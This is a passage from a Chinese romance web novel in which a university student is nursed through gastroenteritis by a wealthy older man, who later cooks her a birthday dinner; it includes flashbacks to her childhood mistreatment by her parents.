整个人头晕目眩,祁星尔一路在想,今天自己是不是吃了什么不该吃的东西。
面包,不可能,看了两遍保质期都合格。
难道是前几天?也不对啊,基本每天都排大号呢。
昨天晚上吃了街边螺蛳粉,今晚吃了火锅。
越想越费劲,祁星尔不再想,肚子更痛了。
十分钟后到了最近的医院,孟停之挂的急诊。
夜里急诊室的病人大多重症患者,十个里面有八个生命垂危。还有附近大学生喝多了酒精中毒,更有一些四十来岁大叔大妈斗殴,一个手上掉了一块肉,另一个头破血流鼻青脸肿,祁星尔一个血都没见的,还有意识的人,自然是小巫见大巫。
孟停之已经拨通易柏然电话,让他联系一下就近的医院,这边就轮到祁星尔了。
护士姐姐先给祁星尔量了体温,轮到她时,医生问了一下最近的饮食排便情况等等。
“你这是急性肠胃炎,东西吃杂了。”医生眼皮没抬一下,再问:“这几天窜不窜稀?”
祁星尔的脚趾头扣紧鞋底,痛得闭上眼,也不管旁边有没有孟停之。
“……窜。”昨天到今早上拉过好几次,中午过了就没怎么拉了,祁星尔以为没事就没放在心上。
晚上看舞台秀那会儿,也拉了些,本打算明天去买点药,谁知一到下午更严重。
“大便是什么形状的。”
“不成形,很稀。”
“有没有恶心,呕吐症状。”
祁星尔皱眉:“有。”早上吐过好几次酸水,但都没吐出来其他东西。
“那就对了,是吃了不干净的东西,引起细菌或病毒感染。”医生略过眼镜片上抬起眼眸,脸黑了,“你男朋友也不知道拦着一点,现在吃出问题了才来着急。”
祁星尔瞪圆眼:“医生他不是……”
奈何肚子里的神经拳打脚踢,有排泄物一窝蜂涌上□□,祁星尔腾地站起:“医生,厕所在哪里!”
医生喊了护士陪她去。
孟停之想跟上,被医生叫住。
“交钱才能领药。”
“你们这些小年轻啊,打着爱情,宠女朋友的名号,连吃东西都不顾及一下。这小姑娘一看就身体弱,头发偏黄,瘦得像片纸,营养也没跟上。”医生上下打量一下孟停之,“你这男朋友怎么当的。”
眼前的人还挺奇怪,女朋友都这样了,脸上还挂着笑。
从听见“男朋友”三个字起,孟停之脸上的笑就没消散过。
“我以后一定督促好她的饮食。”
孟停之接过收费单,低声道:“把她养好。”
——
祁星尔彻底虚脱了,腿肚子发软。
“星尔,怎么样?需要我进来吗?”
孟停之就在女厕所门口。
苍天!人怎么能出丑到这种地步!
“没!我没事!你不用进来!”
祁星尔一掌拍回洗手间将要被打开的大门。
孟停之收回手,在外面默默等着。
祁星尔扶着门把手艰难地站起来。肚子还痛,她扶着墙慢慢挪动步子。
清洁阿姨刚才在洗手台处拖地,这会儿不知哪里去了,白砖地面上还有黏滑的泡泡。
祁星尔没注意,抬脚走了几步,“啊!”
脚下溜滑一米,整个人被甩出去,屁股重坐在地板上。
“我靠!我的屁股。”
孟停之在外面听见“咚”的一声,再没顾忌其他,有半个小时了,除了祁星尔没人和女清洁工,没有其他人进出。
孟停之推门而入,祁星尔曲腿坐在地上,找地方借力起来。
“怎么回事?有没有摔着?哪里痛?”男人单膝蹲下,双眉紧蹙。
祁星尔揉揉腰:“没。”
总不能说屁股痛。
紧接着,一只修长的手穿过祁星尔腿窝,身体悬空,祁星尔为了维持重心,抬手搂住孟停之的脖颈。
“诶,其实不用,我自己能走。”
男人垂眸:“都这样了,还要逞强拒绝?”
祁星尔闭口缄声。
医院的回廊小道,安静无声,偶有值班室的护士急忙奔走,孟停之为了让祁星尔轻松一点,并没有单手抱她。
祁星尔一只手提着药袋子,另一只手攀住孟停之脖颈,又尽力和他拉开距离。
昏暗走廊上的控灯,唯有安全通道的绿色标志灯一直亮着。
皮鞋踩上瓷砖的声音每响起一下,便亮起一盏灯,孟停之慢慢走着,蹙着眉,时而看一下怀里的祁星尔。
祁星尔长这么大,第一次被人这么抱,还是一个并不算相熟的陌生男人。
她脑子里生出一团嗡嗡嗡的经线,肚子的疼痛都被忽视减弱不少。
心脏跳得又急又缓,似要到嗓子口。
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她扭过脸,甚至不敢去看他的喉结。
……
医生开了蒙脱石散,拉肚子是止住了,可胃里的废物毒素没排出,难以缓解病状。
孟停之准备再去找医生,祁星尔一阵恶心感涌上喉间。
她冲到厕所,一阵呕吐,整个人再次虚脱,瘫软在地上。这回不再扭捏,破罐子破摔,反正最狼狈的一面他都见过了,不差这一次。
孟停之再次抱她时,她只管找个舒服的姿势窝在他怀里。
——
学校位置比较偏,属于郊区,最近的这家医院并不算大,点滴室也只是六七十平方的小间。
浅蓝色医用隔帘后的护士姐姐,轻弹了几下安瓿瓶的颈部,排输液管气体时,针孔在白炽灯下透亮。
祁星尔盯着针尖咽了一下口水。
孟停之倏然抚住她双肩:“别看它,不看就不可怕了。”
“笑话,我怎么可能会怕?我小时候打预防针都不带哭的……嘶——”针扎入那一瞬间,仿佛扎入心脏,刺了一下,很快又缓过来。
祁星尔闭了一下眼,脑海中一瞬白光闪过。
孟停之当然知道,祁星尔小时候打预防针没哭过,他在梦里见到过。
……
四五岁的祁星尔肉乎乎的,像个小糯米团子,旁的小朋友都在哇哇大哭,祁星尔愣是一滴眼泪没掉,眨着无辜的大眼,水灵灵的,仿佛打针像吃饭一样简单轻松。
护士打完针后,笑眯眯的:“小姑娘真棒!不哭不闹,是今天最勇敢的小孩!”国家政策扶持,要求打特定疫苗,马上到流感高发季,卫生站人山人海,小孩子哭声遍地。
紧接着是一个小胖子,又高又壮,进了候诊区就没停过哭声。
护士哄道:“学学小妹妹,人家就没哭过,你是男子汉更要坚强。”
小男孩瘪了瘪嘴,金豆子掉得更厉害。
护士蹙了蹙眉,明显不高兴。
祁星尔摸了颗旺仔奶糖出来:“你不哭,我就把这颗糖给你吃。”
小男孩立马止住哭声,直勾勾盯着红色封皮的旺仔糖。
“阿姨打针很快的,一点都不疼。”
谷兰一般不会给祁星尔买糖的,只有今天打针,谷兰怕她哭破例给她买了。
那是最后一颗,祁星尔始终不舍得吃。
祁星尔的表现谷兰很高兴,旁的家长都在羡慕,夸祁星尔如何乖巧,谷兰摸了摸祁星尔的头,笑得合不拢嘴。
“我女儿一直这样,我没做什么。”
后来再一次去打针,祁星尔期望着糖果,只是针打完回家了也没看见糖。谷兰看着兴致不高的女儿,问她怎么了,祁星尔摇头只说没睡醒。
——
护士给她扎好针后,孟停之提着吊瓶,另一只手揽住祁星尔肩膀。
医院条件有限,没有额外病房,只能去输液室。
半夜打吊瓶的人还不少,但都是三四十岁的人,只有祁星尔一个小姑娘。
祁星尔吃了药,还没起效,肚子还是很疼,她蹙着细眉,面色苍白。
孟停之给她盖了条厚毛毯,放了个热水袋在她肚皮上。
他撩开棉服,隔着衣服料子,轻轻给她按摩肚子。
他的手很暖和,指腹绵软,手掌很大,刚好可以遮住祁星尔的小腰。
顺时针,逆时针,力道不轻不重。
祁星尔没力气脸红,更没力气说谢谢,随他去了。揉着揉着,就逐渐熟悉了那双手的存在,中途他离开去换热水袋里的水,一时间竟觉得肚子处空空凉凉的。
他换完水回来,手又覆了上来。
“还疼不疼?”孟停之的手没停。
祁星尔迷迷糊糊,半撩起眼皮:“有点……”
她困得不行,最终撑不住睡了过去,孟停之另一只手始终握着她,大手捂着小手,为她取暖。
孟停之让她靠在自己肩上,又拉紧了毛毯,一手看当下财经新闻,时不时看一眼点滴瓶,一小瓶满了,让护士过来换,小心翼翼,不惊醒祁星尔半分。
7. 07
输液室万分寂静,输液的人不多,偶尔会有人换药,也有人睡不着刷抖音。
“先生,烦请噤声,关静音。”语气自带上位者的气息,那人抬眼看了孟停之一眼,随后关静音,周围说话的人也都闭上嘴。
祁星尔这一觉睡得很沉,疼痛缓解不少,胃有一种紧绷久,无力皱缩的的萎靡感。
半夜挂完水,凌晨三点,医院里睡着不舒服,看着孟停之在这里,祁星尔就想开个钟点房凑合一下。
如果孟停之不在,她可能就在医院铁椅上坐几个小时,等到宿舍开门就回去,哪想孟停之已经订好酒店。
“多少钱,我们AA。”祁星尔打开手机。
中等消费层次的酒店,普通单人间一晚也得三百。孟停之就没住过这种层次的酒店,回到孟家前住不起,回到孟家后住的都是五星级。他猜到祁星尔会这么说,选了一个性价比高的,她承受得起的。
“标间,平台优惠券,100一晚。”孟停之把优惠截图给她看,很快收回手机。
祁星尔没发现,这张截图是一家非常普通的酒店的,而且是去年节假日时期,早就过期了。
“这么便宜?我扫你。”一看不是绿底收款码,“直接发收款码吧。”
孟停之还举着手机,没有听她的话,很固执。
“行吧。”祁星尔叹口气,反正不会再有交集,在她给他洗好大衣并还给他之后,也就好友列表多一行的事。
孟停之的微信头像和他本人极为不符,手绘网图,星空之下一个男孩手捧一束漫天星,仰望天空,眼神空洞。
“过去了。”
凌晨四点的大学城附近,街道空旷,昏黄的灯光扑洒在盖了沥青的水泥路上。只有祁星尔和孟停之两人。
酒店离医院不远,就没有开车。
打完吊瓶祁星尔恢复不少,肚子不痛了,除了黑眼圈重,脸色苍白,没有其他的问题。
“上来。”
孟停之在她身前蹲下。
“我自己能走。”她又不是从小娇生贵养的小姐,不过是个小小急性肠胃炎。
祁星尔抬脚向前走,一双小腿就被冷白的大手揽住。
“快点,我不想再说第二次。”
祁星尔堆起细眉:“啧,你这人怎么还专制?”嘴上说着,身体已经趴在孟停之背上。
祁星尔看不见的地方,孟停之看见身前覆过来的手,轻扯唇角。
祁星尔不是一个会搭话的人,准确来说是面对像孟停之这种,眼界、见识、容貌都不错的年上者。
孟停之的背很舒服,脖颈间充斥着清新的檀木香,混合着淡淡的柚子味。
他也喜欢吃柚子?
祁星尔很喜欢这股味道,一种说不出来的心安。
她趁孟停之不注意,悄悄猛吸一口,冲散了医院里酒精消毒水的味道。
孟停之感觉脖颈处像有片羽毛刮过,丝丝温热飘过,一点柔软的东西碰了一下,他的心被钉住一瞬。
耳朵泛起粉红。
“是不是我抱得太紧,把你热到了,我看你耳朵好像被热红了。”祁星尔歪头,盯着那处红透如石榴的耳尖。
孟停之向上颠了颠她,重心不稳,慌乱中祁星尔搂住他的脖子,贴得更紧了。
“不是,是要抱紧点,不然等会儿滑下去。”
祁星尔闭口不再说话,老老实实将他抱得更紧。
到了酒店后,孟停之提前叫了粥,“酒店送的,将就喝一点。”实际是他提前预订,并且要求专门给病人,一定要保证干净卫生有营养。
热粥鲜美,温度适中,不凉也不烫口,吃第一勺,小狐狸眼睛一亮,很快吃下第二口。
孟停之也喝的粥,小狐狸的小眼神尽收眼底,心情又明亮几分。
祁星尔太累了,而且有陌生男人在,她就没有洗澡,只脱了外套和卫衣。她倒床就睡,要不是空调温度太高,甚至不想脱外层的裤子。
——
“哗——”
和一个陌生男人共处一室,而现在他正在洗澡。
浴室水雾朦胧,打着白光的磨砂玻璃上,勾勒出男人劲瘦的身材。
祁星尔忍不住直直盯着,大眼不带眨。
水停,湿水的手摩擦过水龙头的声音。
人影清晰,宽肩窄腰。浴室墙做得忒不保护隐私,比如现在,饶是通过黑影,就能看清男人的身形,甚至具体的身体构造。
视线从上到下,扫到腰腹间,祁星尔脸乍红,别过头去,摸上发烫的耳尖。
想到他快要出来,祁星尔转身倒床上。
水声再响,她翻来覆去睡不着,哗啦的流水冲刷着急剧跳动的心。
她侧过头去再看,浴室里的人在洗头。
室内静谧黑暗,唯一的灯光来自浴室的暖灯,唯一的声音来自浴室内的男人。
时间一分一秒过去,祁星尔隔着玻璃,不知不觉看完全程。
洗完了,他开始穿衣服了。
他在腰腹间围了一条浴巾。
他要出来了。
祁星尔立刻转过身闭上眼。
“祁星尔。”
氤氲着水汽的湿热,嗓音暗哑。
“帮我拿件浴袍。”
祁星尔睁开眼,黑眸水润,她弹坐起来。
浴室里没有浴巾?不该啊,刚进来时上厕所,分明整整齐齐叠放在浴室置物台上。
以后不能和他再住这种太草率的酒店,呸!怎么可能还会和他有下一次?
她起身去找,两张床之间的床头柜叠放了一件浴袍。
“你把门开个缝,我拿过来了。”
祁星尔捂上眼,把浴袍递过去。
门缝里穿出来的手,被热水烫红,透薄的皮肤下藏着青色血管,手指修长带着滚热,水珠顺着指尖滑落在祁星尔手背上。
祁星尔的心惊了一下。
那只手隔空乱寻,瞎撞摸索,下一秒手背覆上湿热的手掌,祁星尔定在原地。
手又被他握住了。
这是今天第几次?第n多次。
先前输液脑子迷糊,没感觉,这个时候的触感异常清晰,掌心比先前烫热。烫意随手背直达心底。
“你、你干什么。”她像一只迷路的小鹿。
大手顺着祁星尔的手背摸索到浴袍。里面人很快穿上出来。
“抱歉,视线暗,看不清你的手。”
全湿的头发倒贴于脑后,黑瞳洇着浴室的水光,浴袍紧贴着他,半明半暗中,眸光深沉。
祁星尔缩了一下脚,转身关掉大灯,只留床头两盏小灯和天花板周围一圈护眼灯,大步走向床掀开被子躺下,错开他的目光:“太晚了,你、你快吹头发,我先睡了。”
孟停之垂眸,看着隔壁床上那一小团隆起。
波澜不惊的心口卷起一阵喜悦。
吹风机声音呜呜作响,撩拨着祁星尔的心。
一个睡着的人不会时常翻身,于是她僵在床上。
度秒如年。
她始终感觉有两道目光死死锁着她,她不敢转过身,只盼着他早点收拾完休息。
现实也确实如祁星尔感觉的那样,她的一切动作,细微的变化都落入孟停之眼中。
少女雪白的后颈渗了一层薄汗,露出的脚尖在微微发抖,不仔细看,看不出来。
孟停之起了坏心思,打算多吹一会头发。
也不知过了多久,祁星尔的小腿开始发酸,她想要舒展身体,迫切地想要。
真怕下一秒破功。
比起戳破假睡后,要面对的孤男寡女共处一室的尴尬,她认为,这点酸痛也是可以忍一下的。
他怎么还没吹完?他头发很长吗?不长也不是很多啊。
吹风机终于停下,随之所有的开关被按下,房间陷入彻底的黑暗。
孟停之看着祁星尔翻了个身,浅浅抿唇。
今天太累,祁星尔的脑袋已经是超负荷运转,这时全身的神经放松下来,没多久便睡着了。
寂静漆黑的室内,少女呼吸绵软匀长。孟停之睁开眼,眸子清明。
天气预报预测今夜有小雪,他起身赤脚走到少女的床前,随手找出一张纸一支笔,几分钟的功夫,纸上便呈现出一个安然熟睡的祁星尔。
窗外下起薄雪,临近天亮,孟停之对着窗外矗立良久,忍着隐隐头痛睡去……
——
“你是猪吗?这种题我才给你讲了还不会。”
祁邦成把习题册甩出去,手指似要把祁星尔的太阳穴戳穿,脑袋也随着手指戳动的方向时不时偏动,头发被戳乱,蓬头盖面的。
骂祁星尔是猪,手指戳着女孩额头骂了一分多钟。
小孩子最容易哭,大人稍微语气大一点就会情绪失控,更何况祁星尔从小泪点低,下一瞬就眼眶翻红,她心里也告诉自己不要哭,可是年纪小控制不住。
祁邦成把人提起来,居高临下看着她:“你是不是觉得你很委屈?”
七岁大的祁
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星尔抿唇,不敢对上父亲的眼,她骨子里感到害怕。
“老子辛苦赚钱,你要什么我给你买什么,你身上哪一样东西没花我的钱?你还委屈上了。”
“问你?你哪里委屈?”
“问你?”
祁邦成一声声逼问,侧脸冷漠盯着祁星尔,一副上位者姿态。
“嗯?你说,祁星尔。你说你要买贴纸我二话不说买,想吃冰激凌我也买。你到底哪里受委屈了?”
祁星尔低头,眼泪珠子不停地掉。
贴纸一大张并不贵,一元一张,周围小朋友都有她觉得好看也想要,那天她察言观色许久,确定祁邦成心情还不错,又在心里来回打过几次草稿,才鼓起勇气和祁邦成说。
祁邦成眼皮不抬一下“买。”
第二次,祁邦成和人打牌赢了点钱,祁星尔趁爸爸高兴向他要钱买了根冰激凌,一元的千层脆,剩下四块还了回去,她没发现祁邦成皱了皱眉头。
“前几天换季,你妈见你衣服短了,马上带你去买。你还有什么不满意的?”
“是我和你妈欠你的?说你两句就哭。”祁邦成更加咄咄逼人。
祁邦成说着说着不来劲,手指又重戳几下祁星尔的额头,祁星尔重心不稳摔倒在地,眉心多了深重的红色指印。
他似乎心里还不爽,又踹了一脚,不轻不重只痛那么一下,祁星尔跌倒在地吃痛着爬起来。
谷兰早就听见了,她最近工作不顺心,被主管批评心里烦不想管这些事,见外面没声了才从厨房里出来。
擦了擦手上的水,声音披上温柔的面具:“你爸爸都是为你好。像你这样一说就哭的习惯不好,以后进入社会了没有人像爸爸妈妈这样包容你。”
祁星尔眨红透了的大眼看着母亲,泪水快要冲出眼眶。
谷兰眼睛下横,化作一把大刀,一声凌厉吼出:“哭!就知道哭!”
“每天除了哭除了玩还能干点什么!”随后抄起衣架打来。
一边打一边说,昨天祁星尔向她讨了个校门外小零食,前天她没把衣服洗干净,又说晾晒得不好衣服皱了。
祁邦成继续加入,嘴上不停说在祁星尔身上花了多少钱,一点回报都没有,一边袖手旁观。
“你看看你堂弟,他总不会像你这样,一说就哭。”
祁星尔跪在地上,不敢抹眼泪,一抹谷兰就知道她在哭,又会是新一轮鞭打。
“还是男孩儿好啊。”语气中藏着无奈与失望,不想再看祁星尔一眼,也或许是把在外面受的气出够了,转身悠哉地去吃饭。
祁星尔蹙了一下眉,谷兰明显也僵了一下。
趁母亲走神,祁星尔抬手擦掉眼泪,不过还是被谷兰发现:“你这么爱哭,就跪在这里哭够了再起来。”
祁星尔忍不住,哇哇大哭出声,憋泪太久,突然打开闸门,胸口被堵住的一大股气蜂拥而至。
她上气不接下气,不停地喘……
谷兰在吃饭听着哭声心烦:“你什么时候不哭了,什么时候进门。”
“砰!”地关上门。
出租屋楼道昏暗逼仄,用的是老式声控灯,灯坏了再大的声音也点不亮楼道。祁星尔怕黑,疯狂敲门,哭声更剧,撕心裂肺到胸腔震动,不过没人理她。
类似的场面,孟停之梦见过很多次,祁邦成口里的堂兄是个被宠溺坏了的孩子,撒泼打滚耍无赖,时常捉弄祁星尔,抢她零食吃,好在小姑娘不算软柿子,每次都当场反击回去。
……
祁星尔醒来已经中午,薄雪初化,阳光耀眼,寒风拍打着窗户,尚能听见呼呼风声。
五点那会儿雪正下得大,她的心脏忽觉一阵刺痛,睁眼恍惚间,看见孟停之坐在小椅上静静注视她,和她清醒时看见的不同。
炽热的目光像一条蛇,紧紧缠住她。
闭眼再睁就不见他的身影。
她起身拿遥控板打开窗帘,伸个懒腰,神清气爽。
好在上午只有一节水课,没有提前请假,算是侥幸逃过一劫。
出神之际,正好有人来送午餐。
祁星尔不傻,一家中下层次的酒店住一晚,最多包个早餐,明显这是孟停之给她点的。
或许是她想多了,可能是他给自己点的,暂时等下要回来吃。
“咕~咕”
祁星尔饥肠辘辘,准备快速洗个澡,动作快的话食堂或许还有热的炒菜。
“叮!”
微信弹出一条消息,是孟停之。
8. 08
MTZ:醒了没,医生说了,肠胃恢复阶段要饮食清淡干净,要认真吃饭。看合不合胃口。
祁星尔眨了一下眼睛,心中泛起一股暖流,她没意识到自己的嘴角浅浅勾了一下。
她还没有吃便回复:谢谢。很好吃。多少钱?我转你。
酒店里点餐并不便宜。
MTZ:不用谢,真要谢就帮我把那件外套洗了。
衣架杆上,挂着一件昨天夜里,给祁星尔垫坐的衣服。
一颗星星:行吧,还真能手洗,还以为你是安慰我的。
随后孟停之发来一个地址。
MTZ:我家,洗好后送这里。
一颗星星:[OK]表情包
祁星尔回学校后,没有自己洗,想来想去还是找干洗店。祁星尔心想,他眼里中的平价和我眼里的不该是一个层次。
接下来的一切都恢复如常,祁星尔又成了生活里普通的螺丝钉。
每天三点一线,学校,兼职地方,学校。
只做线下兼职肯定不够,祁星尔大一空闲时自学了剪辑,虽不算大神级别厉害,但剪一剪切片还是可以的。大多时候减卖货主播切片挂链接赚佣金,偶尔心血来潮剪拉郎配自嗨一下,总体下来收入还算不错。
一家人群里,三人很少聊天,祁星尔是个在线上聊天话比较少的人,对于父母更是不知道说什么。
十多天的样子,祁母会以一种撒娇看似讨好的语气,“星尔,说说话呀(调皮表情)”或是偶尔起一两句争执,祁母当个中间人,温和亲昵的言语中,总是藏着威胁或是威压、命令。
只要不是影响她前途的事,祁星尔也都随他们去。
洗衣店老板那几天没有开门,第二周才开,还衣服那天已经是十天后。
她原想闪送过去,但想着孟停之帮她太多,单说陪她去医院照顾她,一个认识不久的陌生人,这份好对她来说有点梦幻。
大约是有梦的那层滤镜在,潜意识里,祁星尔认为孟停之骨子里就是这样一个人,对谁都好,或许对孟停之来说,帮她不过是举手之劳。
对祁星尔来说不同,她习惯了一个人,她因为时常兼职,做任何事讲究效率而非人情,和室友们三观更有许多不合。
生病一个人去医院她觉得没什么,可急性肠胃炎是第一次,半夜进急诊也是第一次,在这之前她对急诊没有概念,更觉得自己是个坚强的人。
这一次,如果不是孟停之,她一个人身体上会遭更多罪。
她会跑来跑去排队挂号、取药、吃药,而她当时身体本就不行,如果孟停之不在,她不敢想象。
打心底里,她很感谢孟停之,没有把她送到医院后,撂在那里转身离开。
而在祁星尔的价值观里,无论对方是个怎样的人,别人在她危难时帮了她,她既然受了就得还回去,至少应该当面表示感谢。
星期天她家教结束后,又将自己收拾了一番,不是精致的打扮,无非是换了件亮净的衣服,头发梳整齐,整个人看起来有精气神,不至于病恹恹的。
……
孟停之和易柏然开了一家商务会所,平时二人处理其他工作也在这上面。
今天易柏然看他却在五点多就开始收拾东西,这不像他,搁以往不到九点绝不走。
“您今儿个是有什么事儿?五点多就在收拾东西。”易柏然没个正形,长腿一迈,侧身坐上孟停之的办公桌。
孟停之赶脏东西似的抬手:“你很闲?”他整理干净办公桌,进入休息室,对着镜子正了正领结,穿上黑大衣。一身黑,挡不住的贵气。
他提上生日蛋糕,又提了个黑色小皮箱走了。
“谁过生日啊?你女朋友?”易柏然不明所以:“你没女朋友啊。”
孟停之走出办公室没搭理他,易柏然忽然想到什么,脑中灵光乍现:“难道是那个女大学生?”
孟停之合门前,淡淡施舍给他一个眼神,眼中藏着小雀跃。
“?!还真是!”
“啧啧啧,吃嫩草……”
孟停之:“火锅店的事你找别人吧。”
易柏然马上闭嘴:“别,我口误,是郎才女貌。祝您约会顺利。”
孟停之唇角压了压,关门离开。
易柏然大脸震惊,百年不笑的冰块脸居然笑了,有这么高兴嘛?
刚认识孟停之的时候,虽看着身价不凡不像是普通人,但却心事重重,始终皱着眉头,从来不笑。易柏然曾一度怀疑他是不是面瘫。
——
孟停之提前半小时就到了,他把车停在小区附近,六点半的时候看见祁星尔从出租车上下来,他启动车开向小区门口。
“诶,还真凑巧,你竟也刚好回来。”
小姑娘露出白齿,一张素净灵动的脸笑得灿烂。
孟停之按下车窗,侧身探头,微抬唇角。
祁星尔忙递上衣服。同一刻,他道:“上车吧。”
“?”她打开车门利索地上车,原是开后车门,转念一想孟停之岂不成司机?她可没那么大的脸,关上门坐上副驾驶。
祁星尔哈气搓了搓手,摸了摸耳朵,北方的冬天寒气重,看似阳光明媚实则寒气凛然。
临近玄关处,孟停之俯身拿出一双女士拖鞋,粉色棉拖,和他那双有冷感的皮质拖鞋不同。
全新未拆封。
“不用,我穿这双旧的就行。”旁边有一双灰黑色皮质拖鞋,边角处略微掉皮。
“那双鞋码大。”
祁星尔接过换下,内心有点过意不去。
不大不小,刚好合适。
“随便坐,就当自己家。”
祁星尔环顾四周,整体深灰色调,低调中透露着奢华。
她不认识这些家具牌子,但有几个logo她在杂志上见到过,价格触目惊心。
她寻了处小沙发边角坐下,把袋子端放在放在桌几上,比划着,细心理平皱乱的牛皮纸袋,待把袋子理满意了,才放好起身。
桌几干净整洁,酒柜处有个扫地机器人,房子看着像个样板间,不像是人常住的地方。
对面餐桌处放了个六寸的蛋糕,蓝白色,简单又漂亮。
“今天你过生日?”祁星尔走到孟停之身后。
男人的衬衣挽至小臂,凉水冲过修长的指节,他转身低头,对上少女乌黑明亮的瞳孔。
“今天是2024年11月18日。”
小姑娘恍然大悟,转头看向别处,眉目中尚且云里雾里。
“哦,好像是……我的生日……”
祁星尔蹙眉思索几秒回过神,又警惕起来,像只警铃大作、交臂防卫的狸花猫。
“你怎么知道?”
“上回你的学生证落在民宿。”
“原来如此……”
孟停之摆好果盘放在餐桌上。
“先吃点水果。”
小块的水果外面裹了一层糖衣,有的山楂果子裹了白色的糖霜。
“这是你做的?”
“没想到你还会做糖葫芦,真厉害。我以前尝试过好几次,都失败了,糖浆糊黑糊黑的,特别苦。”
祁星尔拿起一小串,轻咬一口,琥珀似的糖衣破裂,酸甜的橘子汁在口腔中爆开。
“味道比店里的还好吃!”眼睛透亮,孟停之想起外公家的狸花猫,吃到好吃的东西时,就是这副表情。
滚圆的眸子瞬间透亮,然后大口猛吃。
孟停之做的糖霜果子很干净,断枝处没有一点污渣。
吃了两三个发现孟停之还没吃。
“你也吃一个。”糖霜果子已经贴上孟停之唇角。
冰凉又甜腻。
孟停之睫毛微颤,顺着果子看向祁星尔。
少女鼓圆的腮帮子,像只小仓鼠。
他就着吃下整颗果子,上唇瓣微不可察地吻上少女细白的指尖。
一触即离。
祁星尔的心抖了一瞬,假装什么事也没发生,自然地收回手,背在身后磨搓刚才被亲过的指尖。
她试图找话题,转移片刻的慌张与心悸。
“我小的时候,大概四五岁,有一次过年我妈带我去公园看灯光展,旁边就有许多卖小玩具小零食的商贩。尤其糖葫芦,许多大叔扛着稻草糖葫芦靶,四处喊卖。”
“我吧,嘴比较馋,就让我妈给我买。”她笑着回忆。
孟停之认真地看着她。
“但是呢,糖葫芦甜的只是外面那层糖衣,我嘛那时候只知道吃糖衣不吃山楂,剩下都给我妈吃了。后来我妈就再也没给我买过,我可怀念了。
我没有零花钱,卖糖葫芦的很难遇见,上初中前就一直没再吃过。后来上初中了,每周回家有车费,我就省下来,去买糖葫芦。”
“说来搞笑。”祁星尔忽然笑起来,“我居然把城中心所有的糖葫芦店,都光顾了一遍。然后有一次,有家糖霜果子的山楂洗得不干净,我吃得多,拉了好几天肚子。”
孟停之的思绪被拉到祁星尔小时候。
四五岁的小祁星尔,盯着老爷爷的糖葫芦串,挪不开眼,四周的小朋友人手一串。
出来玩谷兰从不会给她买零食,美其名曰不能让孩子娇生惯养,不能
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宠溺。因此祁星尔也从不会要东西,问她想吃什么,她都两个字:随便。
这次谷兰或许看不下去,长出一口气白了祁星尔一眼,走到卖糖葫芦的跟前:“这一串多少钱?”
“一串五元。”
听见这个数字,小祁星尔明显紧张起来,她握紧手,说不出话,乌黑的瞳孔瞬间鼓胀起来。
她没想到这么贵。
五元,那可是五元!可以买十包辣条了。
果然,谷兰尖锐的声音响起:“多少?五块?!”一串十个大山楂,平常三元一串,现在是春节自然要贵一点。
谷兰垂眸,晦气地看向祁星尔。
最后不情愿地掏钱买了。
祁星尔咬了一小口,小孩子味觉敏感,糖衣薄化得快,山楂酸得掉牙,很快左右眼开始上下跳舞。
第二口,祁星尔先吃掉糖衣。
“看吧我就说你吃不来,只吃糖衣不吃里面的山楂。”
她没打算不吃,只是酸劲没缓过来。
谷兰从她手中拿过,祁星尔以为母亲要吃就给她。
谷兰以为女儿不要了,骂骂咧咧:“就不该给你买,浪费钱。”
后来谷兰就没再还给她。
以前总看其他小朋友吃,祁星尔只能眼巴巴望着,她不敢向父母开口要吃的零嘴。这次虽然有点伤心但还是高兴,她终于尝到了垂涎已久的糖葫芦。
……
“晚上还有其他计划吗?”
“没。”
“今晚在这里吃。中午煮得多,一个人吃不完。”
祁星尔像发现了新大陆,她撑住灶台歪头看向孟停之:“你中午还自己做饭?”
孟停之穿上围裙:“嗯。有时候工作不多就提前回来。”
“帮我系一下。”他递给祁星尔围裙,张开手。
祁星尔半抱住他的腰,绕过绳子低头系。
绳子不长,厨房光线暗,夕阳透窗洒在地上,少女低头抵着男人坚实的后背。
少女身上纯净的洗衣液清香环绕在鼻尖,孟停之看着瓷砖上二人的影子,微不可察地扬了扬唇角。
捯饬两分钟,祁星尔:“诶,终于好了。”
今天他做了许多饭菜,长寿面,糖醋排骨,鲍鱼海参汤,黄焖鱼翅,清蒸螃蟹……不少繁杂的菜,也有许多家常菜。
祁星尔再次刮目相看,她怀疑孟停之考了专业厨师证。
“你以前当过厨师?”
男人眼皮不抬一下,调火收汤:“没。闲着没事,做着玩。”
祁星尔洗手帮忙,他道:“没多少事做,你在旁边看着我就行,实在无聊就尝一尝咸淡。”
祁星尔尝了一两道菜,口味合适,甚至比饭店的好吃。
“我觉得,你以后可以尝试自己开饭店,味道非常好!”她竖起大拇指。
孟停之失笑,手里还拿着锅铲:“好吃就多吃点,小仓鼠。”
饭做好后,祁星尔把菜端放到餐桌上。
小盘的没多少,剩下还有煮的汤面。
“余下的我来,你坐过去吧。”
祁星尔到餐厅没多久,孟停之就用湿帕子包着汤碗出来了。
“长寿面不多,要吃完。新的一岁才有更好的兆头。”
长寿面清淡又不失鲜美,乳白的鱼汤不多,祁星尔一口喝下。
孟停之在专心剥蟹,祁星尔目不转睛地盯着他的手看。
冷白皮的大手骨节分明,指甲干干净净,修得整整齐齐,薄皮下的血管随着手背缠绕至手腕骨,修长的食指处戴着一枚古老的戒指。
“前几天钟灵和我说,你手上戴的戒指我的很像。”祁星尔伸手给他看。
外形纹路都一样,孟停之那枚中间嵌的水晶是蓝色,祁星尔的是紫色。
“你不会,也是在那个老奶奶那里买的吧?”
“老奶奶?”孟停之皱眉,若有所思。
“对啊,满头白发,就在洛河市高铁站附近摆地摊。”
孟停之瞳孔微缩,停下剥蟹的手,神情严肃。
“嘿,你在想什么,走神了。”祁星尔见他目光涣散,在他眼前挥手都没看见,她打了一个响指。
孟停之回过神:“哦,抱歉。嗯,确实,我也是在她那里买的。”
不过是在十一年前,祁星尔走之后。
“你的手很好看。”话题跳跃太快,突如其来的一句,孟停之顿住。
盯着脆弱的血管,祁星尔心中陡然生出破坏欲,要是把血管戳破了,血液染指这样冷白的手,会不会很好看?
“你可以摸一摸。”
9. 09
祁星尔猛然清醒,抬起头看他。
孟停之在祁星尔看不见的一侧,眼风瞥到少女瞳孔中的茫然,他唇角浅扬,专心剥蟹,不受一点影响。
好像在告诉祁星尔一件很平常的事。
“可以摸手背。”
语气就像,这是我做的一件工艺品,允许你摸一下它的外壳。
祁星尔成年后连异性的手都没牵过,又怎么会摸过。
她脸颊通红,心中不停安慰自己:你紧张什么,就当是去摸一件艺术品,不紧张。
祁星尔指尖慢慢划过他手上的青筋,孟停之垂眸注意到那根被他亲过的手指。
